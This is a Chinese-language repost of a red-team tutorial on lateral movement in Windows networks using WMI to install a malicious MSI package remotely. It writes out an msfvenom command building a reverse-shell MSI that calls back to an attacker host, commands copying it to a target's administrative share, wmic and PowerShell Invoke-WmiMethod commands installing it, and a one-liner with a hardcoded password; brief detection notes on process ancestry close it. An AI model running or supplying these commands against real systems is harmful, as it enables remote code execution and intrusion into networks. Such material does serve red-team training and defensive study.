红队战术 - WMI + MSI 横向移动

admin 2024年4月19日20:11:47评论2 views字数 1287阅读4分17秒阅读模式

红队战术 - WMI + MSI 横向移动

执行

在 MSI(Microsoft 安装程序包)中生成恶意负载:

攻击者@local

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f msi > evil64.msi

红队战术 - WMI + MSI 横向移动

我尝试像这样执行 .msi 有效负载,但得到了返回代码1619,并且在 google 上进行快速搜索没有返回任何有用的内容:

攻击者@远程

wmic /node:10.0.0.7 /user:offenseadministrator product call install PackageLocation='\10.0.0.2c$experimentsevil64.msi'

红队战术 - WMI + MSI 横向移动

我不得不回到一种肮脏的方式来实现目标:

攻击者@远程

net use \10.0.0.7c$ /user:administrator@offense; copy C:experimentsevil64.msi \10.0.0.7c$PerfLogssetup.msi ; wmic /node:10.0.0.7 /user:administrator@offense product call install PackageLocation=c:PerfLogssetup.msi

红队战术 - WMI + MSI 横向移动

外,使用 powershell cmdlet 也可以实现同样的效果:

攻击者@远程

Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:PerfLogssetup.msi") -ComputerName pc-w10 -Credential (Get-Credential)

获取凭据提示:

红队战术 - WMI + MSI 横向移动

并享受代码执行:

红队战术 - WMI + MSI 横向移动

或者,如果没有 GUI 可用于凭证,则使用 oneliner:

攻击者@远程

$username = 'Administrator';$password = '123456';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:PerfLogssetup.msi") -ComputerName pc-w10 -Credential $credential

红队战术 - WMI + MSI 横向移动

观察结果

注意进程的ancestry services > msiexec.exe > .tmp > cmd.exe

红队战术 - WMI + MSI 横向移动

并且连接是由 .tmp 文件启动的(我运行了另一个测试,因此是另一个文件名):

红队战术 - WMI + MSI 横向移动

原文地址:

https://www.ired.team/offensive-security/lateral-movement/wmi-+-msi-lateral-movement

原文始发于微信公众号(Ots安全):红队战术 - WMI + MSI 横向移动

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日20:11:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队战术 - WMI + MSI 横向移动https://cn-sec.com/archives/2672745.html

发表评论

匿名网友 填写信息